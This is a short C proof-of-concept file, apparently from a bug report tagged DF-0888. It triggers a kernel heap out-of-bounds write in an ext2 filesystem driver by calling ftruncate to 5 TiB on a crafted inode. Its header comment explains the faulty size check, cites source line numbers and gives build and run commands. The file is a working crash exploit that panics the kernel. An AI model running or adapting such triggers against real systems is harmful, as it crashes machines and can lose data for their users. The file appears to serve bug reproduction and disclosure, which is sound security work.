DF-0888 / trigger.c
/* * DF-0888 kernel trigger. * * Open the patched file on a mounted ext2 filesystem and ftruncate() it to * 5 TiB. The on-disk inode claims i_size = 6 TiB and a valid triple-indirect * block pointer, so ext2_truncate -> ext2_ind_truncate takes the SHORTEN * path (osize=6TiB > length=5TiB, the only maxfilesize check at * ext2_inode.c:251 is on the LENGTHEN branch) and computes lastiblock[TRIPLE] * exceeding NINDR^3. ext2_indirtrunc(level=TRIPLE) then underflows the bzero * size at ext2_inode.c:172-173 -> kernel heap OOB write -> panic. * * Build: cc -O2 -Wall -o trigger trigger.c * Run: ./trigger /mnt/target */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <inttypes.h> int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s <path-on-ext2fs>\n", argv[0]); return 2; } long long TB = 1LL << 40; off_t newlen = 5 * TB; /* 5 TiB -- in triple-indirect range */ int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 2; } printf("[trigger] opened %s, ftruncate -> %lld (5 TiB)\n", argv[1], (long long)newlen); fflush(stdout); int rc = ftruncate(fd, newlen); int e = errno; printf("[trigger] ftruncate returned rc=%d errno=%d (%s)\n", rc, e, strerror(e)); /* If we get here at all the bug did NOT fire (kernel should panic in * ext2_indirtrunc's bzero before ftruncate returns). */ close(fd); return rc == 0 ? 0 : 1; } |